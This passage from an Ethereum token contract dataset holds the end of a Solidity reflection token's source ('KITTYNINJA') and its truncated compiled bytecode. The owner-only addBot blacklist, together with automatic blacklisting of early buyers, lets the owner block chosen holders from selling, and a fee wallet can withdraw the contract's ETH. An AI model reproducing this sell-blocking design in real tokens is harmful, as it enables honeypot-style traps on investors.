function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading(uint256 db) external onlyOwner() {
require(!tradingOpen,"trading is already open");
require(db <= 1);
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = _tTotal.mul(15).div(1000);
_maxWalletSize = _tTotal.mul(30).div(1000);
tradingOpen = true;
deadBlock = db;
launchedAt = block.number;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function addBot(address[] memory _bots) public onlyOwner {
for (uint i = 0; i < _bots.length; i++) {
if (_bots[i] != address(this) && _bots[i] != uniswapV2Pair && _bots[i] != address(uniswapV2Router)){
bots[_bots[i]] = true;
}
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = getIsBuy() ? _getTValues(tAmount, _taxes.buyFee1, _taxes.buyFee2) : _getTValues(tAmount, _taxes.sellFee1, _taxes.sellFee2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106101395760003560e01c80636fc3eaec116100ab57806395d89b411161006f57806395d89b41146103e3578063a9059cbb1461040e578063b87f137a1461044b578063c3c8cd8014610474578063d16336491461048b578063dd62ed3e146104b457610140565b80636fc3eaec1461033657806370a082311461034d578063715018a61461038a578063751039fc146103a15780638da5cb5b146103b857610140565b806323b872dd116100fd57806323b872dd1461022a578063273123b714610267578063313ce5671461029057806345596e2e146102bb5780635932ead1146102e4578063677daa571461030d57610140565b806306fdde0314610145578063095ea7b31461017057806317e1df5b146101ad57806318160ddd146101d657806321bbcbb11461020157610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a6104f1565b60405161016791906131e1565b60405180910390f35b34801561017c57600080fd5b5061019760048036038101906101929190612cea565b61052e565b6040516101a491906131c6565b60405180910390f35b3480156101b957600080fd5b506101d460048036038101906101cf9190612e4d565b61054c565b005b3480156101e257600080fd5b506101eb610643565b6040516101f89190613323565b60405180910390f35b34801561020d57600080fd5b5061022860048036038101906102239190612d2a565b610653565b005b34801561023657600080fd5b50610251600480360381019061024c9190612c97565b6108b5565b60405161025e91906131c6565b60405180910390f35b34801561027357600080fd5b5061028e60048036038101906102899190612bfd565b61098e565b005b34801561029c57600080fd5b506102a5610a7e565b6040516102b29190613398565b60405180910390f35b3480156102c757600080fd5b506102e260048036038101906102dd9190612dcd565b610a87565b005b3480156102f057600080fd5b5061030b60048036038101906103069190612d73565b610b00565b005b34801561031957600080fd5b50610334600480360381019061032f9190612dcd565b610bb2565b005b34801561034257600080fd5b5061034b610c8b565b005b34801561035957600080fd5b50610374600480360381019061036f9190612bfd565b610cfd565b6040516103819190613323565b60405180910390f35b34801561039657600080fd5b5061039f610d4e565b005b3480156103ad57600080fd5b506103b6610ea1565b005b3480156103c457600080fd5b506103cd610f56565b6040516103da91906130f8565b60405180910390f35b3480156103ef57600080fd5b506103f8610f7f565b60405161040591906131e1565b60405180910390f35b34801561041a57600080fd5b5061043560048036038101906104309190612cea565b610fbc565b60405161044291906131c6565b60405180910390f35b34801561045757600080fd5b50610472600480360381019061046d9190612dcd565b610fda565b005b34801561048057600080fd5b506104896110b3565b005b34801561049757600080fd5b506104b260048036038101906104ad9190612dcd565b61112d565b005b3480156104c057600080fd5b506104db60048036038101906104d69190612c57565b611701565b6040516104e89190613323565b60405180910390f35b60606040518060400160405280600a81526020017f4b495454594e494e4a4100000000000000000000000000000000000000000000815250905090565b600061054261053b611788565b8484611790565b6001905092915050565b610554611788565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105d890613283565b60405180910390fd5b600f5483856105f09190613459565b11156105fb57600080fd5b601054818361060a9190613459565b111561061557600080fd5b83600b6000018190555082600b6001018190555081600b6002018190555080600b6003018190555050505050565b60006706f05b59d3b20000905090565b61065b611788565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106df90613283565b60405180910390fd5b60005b81518110156108b1573073ffffffffffffffffffffffffffffffffffffffff1682828151811061071e5761071d6136e0565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16141580156107b25750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610791576107906136e0565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b80156108265750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610805576108046136e0565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b1561089e57600160076000848481518110610844576108436136e0565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80806108a990613639565b9150506106eb565b5050565b60006108c284848461195b565b610983846108ce611788565b61097e856040518060600160405280602881526020016139d860289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610934611788565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120249092919063ffffffff16565b611790565b600190509392505050565b610996611788565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1a90613283565b60405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ac8611788565b73ffffffffffffffffffffffffffffffffffffffff1614610ae857600080fd5b6031811115610af657600080fd5b8060128190555050565b610b08611788565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8c90613283565b60405180910390fd5b80601660176101000a81548160ff02191690831515021790555050565b610bba611788565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3e90613283565b60405180910390fd5b60008111610c5457600080fd5b610c826064610c74836706f05b59d3b2000061208890919063ffffffff16565b61210390919063ffffffff16565b60178190555050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ccc611788565b73ffffffffffffffffffffffffffffffffffffffff1614610cec57600080fd5b6000479050610cfa8161214d565b50565b6000610d47600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121b9565b9050919050565b610d56611788565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610de3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dda90613283565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610ea9611788565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2d90613283565b60405180910390fd5b6706f05b59d3b200006017819055506706f05b59d3b20000601881905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600a81526020017f4b495454594e494e4a4100000000000000000000000000000000000000000000815250905090565b6000610fd0610fc9611788565b848461195b565b6001905092915050565b610fe2611788565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461106f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106690613283565b60405180910390fd5b6000811161107c57600080fd5b6110aa606461109c836706f05b59d3b2000061208890919063ffffffff16565b61210390919063ffffffff16565b60188190555050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110f4611788565b73ffffffffffffffffffffffffffffffffffffffff161461111457600080fd5b600061111f30610cfd565b905061112a81612227565b50565b611135611788565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b990613283565b60405180910390fd5b601660149054906101000a900460ff1615611212576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120990613303565b60405180910390fd5b600181111561122057600080fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506112af30601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166706f05b59d3b20000611790565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156112f557600080fd5b505afa158015611309573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061132d9190612c2a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561138f57600080fd5b505afa1580156113a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113c79190612c2a565b6040518363ffffffff1660e01b81526004016113e4929190613113565b602060405180830381600087803b1580156113fe57600080fd5b505af1158015611412573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114369190612c2a565b601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306114bf30610cfd565b6000806114ca610f56565b426040518863ffffffff1660e01b81526004016114ec96959493929190613165565b6060604051808303818588803b15801561150557600080fd5b505af1158015611519573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061153e9190612dfa565b50505060016016806101000a81548160ff0219169083151502179055506001601660176101000a81548160ff0219169083151502179055506115a66103e8611598600f6706f05b59d3b2000061208890919063ffffffff16565b61210390919063ffffffff16565b6017819055506115dc6103e86115ce601e6706f05b59d3b2000061208890919063ffffffff16565b61210390919063ffffffff16565b6018819055506001601660146101000a81548160ff0219169083151502179055508160148190555043601381905550601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016116aa92919061313c565b602060405180830381600087803b1580156116c457600080fd5b505af11580156116d8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116fc9190612da0565b505050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611800576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117f7906132e3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611870576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161186790613223565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161194e9190613323565b60405180910390a3505050565b6000811161199e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611995906132a3565b60405180910390fd5b6001601660186101000a81548160ff0219169083151502179055506119c1610f56565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611a2f57506119ff610f56565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561201457601454601354611a449190613459565b4311158015611aa15750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611afb5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b59576001600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611c045750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611c5a5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611c725750601660179054906101000a900460ff165b15611cdf57601754811115611c8657600080fd5b60185481611c9384610cfd565b611c9d9190613459565b1115611cde576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd5906132c3565b60405180910390fd5b5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611d875750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611de05750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611eae57600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611e895750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611e9257600080fd5b6000601660186101000a81548160ff0219169083151502179055505b6000611eb930610cfd565b9050611f0d6064611eff601254611ef1601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610cfd565b61208890919063ffffffff16565b61210390919063ffffffff16565b811115611f6957611f666064611f58601254611f4a601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610cfd565b61208890919063ffffffff16565b61210390919063ffffffff16565b90505b601660159054906101000a900460ff16158015611fd45750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611fea575060168054906101000a900460ff165b1561201257611ff881612227565b600047905060008111156120105761200f4761214d565b5b505b505b61201f8383836124af565b505050565b600083831115829061206c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206391906131e1565b60405180910390fd5b506000838561207b919061353a565b9050809150509392505050565b60008083141561209b57600090506120fd565b600082846120a991906134e0565b90508284826120b891906134af565b146120f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120ef90613263565b60405180910390fd5b809150505b92915050565b600061214583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506124bf565b905092915050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156121b5573d6000803e3d6000fd5b5050565b6000600954821115612200576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121f790613203565b60405180910390fd5b600061220a612522565b905061221f818461210390919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561225f5761225e61370f565b5b60405190808252806020026020018201604052801561228d5781602001602082028036833780820191505090505b50905030816000815181106122a5576122a46136e0565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561234757600080fd5b505afa15801561235b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061237f9190612c2a565b81600181518110612393576123926136e0565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506123fa30601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611790565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161245e95949392919061333e565b600060405180830381600087803b15801561247857600080fd5b505af115801561248c573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b6124ba83838361254d565b505050565b60008083118290612506576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124fd91906131e1565b60405180910390fd5b506000838561251591906134af565b9050809150509392505050565b600080600061252f612718565b91509150612546818361210390919063ffffffff16565b9250505090565b60008060008060008061255f87612777565b9550955095509550955095506125bd86600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461280c90919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061265285600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461285690919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061269e816128b4565b6126a88483612971565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516127059190613323565b60405180910390a3505050505050505050565b6000806000600954905060006706f05b59d3b20000905061274c6706f05b59d3b2000060095461210390919063ffffffff16565b82101561276a576009546706f05b59d3b20000935093505050612773565b81819350935050505b9091565b600080600080600080600080600061278d6129ab565b6127ab576127a68a600b60020154600b600301546129c2565b6127c1565b6127c08a600b60000154600b600101546129c2565b5b92509250925060006127d1612522565b905060008060006127e48e878787612a58565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061284e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612024565b905092915050565b60008082846128659190613459565b9050838110156128aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128a190613243565b60405180910390fd5b8091505092915050565b60006128be612522565b905060006128d5828461208890919063ffffffff16565b905061292981600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461285690919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6129868260095461280c90919063ffffffff16565b6009819055506129a181600a5461285690919063ffffffff16565b600a819055505050565b6000601660189054906101000a900460ff16905090565b6000806000806129ee60646129e0888a61208890919063ffffffff16565b61210390919063ffffffff16565b90506000612a186064612a0a888b61208890919063ffffffff16565b61210390919063ffffffff16565b90506000612a4182612a33858c61280c90919063ffffffff16565b61280c90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612a71858961208890919063ffffffff16565b90506000612a88868961208890919063ffffffff16565b90506000612a9f878961208890919063ffffffff16565b90506000612ac882612aba858761280c90919063ffffffff16565b61280c90919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000612af4612aef846133d8565b6133b3565b90508083825260208201905082856020860282011115612b1757612b16613743565b5b60005b85811015612b475781612b2d8882612b51565b845260208401935060208301925050600181019050612b1a565b5050509392505050565b600081359050612b6081613992565b92915050565b600081519050612b7581613992565b92915050565b600082601f830112612b9057612b8f61373e565b5b8135612ba0848260208601612ae1565b91505092915050565b600081359050612bb8816139a9565b92915050565b600081519050612bcd816139a9565b92915050565b600081359050612be2816139c0565b92915050565b600081519050612bf7816139c0565b92915050565b600060208284031215612c1357612c1261374d565b5b6000612c2184828501612b51565b91505092915050565b600060208284031215612c4057612c3f61374d565b5b6000612c4e84828501612b66565b91505092915050565b60008060408385031215612c6e57612c6d61374d565b5b6000612c7c85828601612b51565b9250506020612c8d85828601612b51565b9150509250929050565b600080600060608486031215612cb057612caf61374d565b5b6000612cbe86828701612b51565b9350506020612ccf86828701612b51565b9250506040612ce086828701612bd3565b9150509250925092565b60008060408385031215612d0157612d0061374d565b5b6000612d0f85828601612b51565b9250506020612d2085828601612bd3565b9150509250929050565b600060208284031215612d4057612d3f61374d565b5b600082013567ffffffffffffffff811115612d5e57612d5d613748565b5b612d6a84828501612b7b565b91505092915050565b600060208284031215612d8957612d8861374d565b5b6000612d9784828501612ba9565b91505092915050565b600060208284031215612db657612db561374d565b5b6000612dc484828501612bbe565b91505092915050565b600060208284031215612de357612de261374d565b5b6000612df184828501612bd3565b91505092915050565b600080600060608486031215612e1357612e1261374d565b5b6000612e2186828701612be8565b9350506020612e3286828701612be8565b9250506040612e4386828701612be8565b9150509250925092565b60008060008060808587031215612e6757612e6661374d565b5b6000612e7587828801612bd3565b9450506020612e8687828801612bd3565b9350506040612e9787828801612bd3565b9250506060612ea887828801612bd3565b91505092959194509250565b6000612ec08383612ecc565b60208301905092915050565b612ed58161356e565b82525050565b612ee48161356e565b82525050565b6000612ef582613414565b612eff8185613437565b9350612f0a83613404565b8060005b83811015612f3b578151612f228882612eb4565b9750612f2d8361342a565b925050600181019050612f0e565b5085935050505092915050565b612f5181613580565b82525050565b612f60816135c3565b82525050565b6000612f718261341f565b612f7b8185613448565b9350612f8b8185602086016135d5565b612f9481613752565b840191505092915050565b6000612fac602a83613448565b9150612fb782613763565b604082019050919050565b6000612fcf602283613448565b9150612fda826137b2565b604082019050919050565b6000612ff2601b83613448565b9150612ffd82613801565b602082019050919050565b6000613015602183613448565b91506130208261382a565b604082019050919050565b6000613038602083613448565b915061304382613879565b602082019050919050565b600061305b602983613448565b9150613066826138a2565b604082019050919050565b600061307e601a83613448565b9150613089826138f1565b602082019050919050565b60006130a1602483613448565b91506130ac8261391a565b604082019050919050565b60006130c4601783613448565b91506130cf82613969565b602082019050919050565b6130e3816135ac565b82525050565b6130f2816135b6565b82525050565b600060208201905061310d6000830184612edb565b92915050565b60006040820190506131286000830185612edb565b6131356020830184612edb565b9392505050565b60006040820190506131516000830185612edb565b61315e60208301846130da565b9392505050565b600060c08201905061317a6000830189612edb565b61318760208301886130da565b6131946040830187612f57565b6131a16060830186612f57565b6131ae6080830185612edb565b6131bb60a08301846130da565b979650505050505050565b60006020820190506131db6000830184612f48565b92915050565b600060208201905081810360008301526131fb8184612f66565b905092915050565b6000602082019050818103600083015261321c81612f9f565b9050919050565b6000602082019050818103600083015261323c81612fc2565b9050919050565b6000602082019050818103600083015261325c81612fe5565b9050919050565b6000602082019050818103600083015261327c81613008565b9050919050565b6000602082019050818103600083015261329c8161302b565b9050919050565b600060208201905081810360008301526132bc8161304e565b9050919050565b600060208201905081810360008301526132dc81613071565b9050919050565b600060208201905081810360008301526132fc81613094565b9050919050565b6000602082019050818103600083015261331c816130b7565b9050919050565b600060208201905061333860008301846130da565b92915050565b600060a08201905061335360008301886130da565b6133606020830187612f57565b81810360408301526133728186612eea565b90506133816060830185612edb565b61338e60808301846130da565b9695505050505050565b60006020820190506133ad60008301846130e9565b92915050565b60006133bd6133ce565b90506133c98282613608565b919050565b6000604051905090565b600067ffffffffffffffff8211156133f3576133f261370f565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613464826135ac565b915061346f836135ac565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156134a4576134a3613682565b5b828201905092915050565b60006134ba826135ac565b91506134c5836135ac565b9250826134d5576134d46136b1565b5b828204905092915050565b60006134eb826135ac565b91506134f6836135ac565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561352f5761352e613682565b5b828202905092915050565b6000613545826135ac565b9150613550836135ac565b92508282101561356357613562613682565b5b828203905092915050565b60006135798261358c565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006135ce826135ac565b9050919050565b60005b838110156135f35780820151818401526020810190506135d8565b83811115613602576000848401525b50505050565b61361182613752565b810181811067ffffffffffffffff821117156136305761362f61370f565b5b80604052505050565b6000613644826135ac565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561367757613676613682565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f77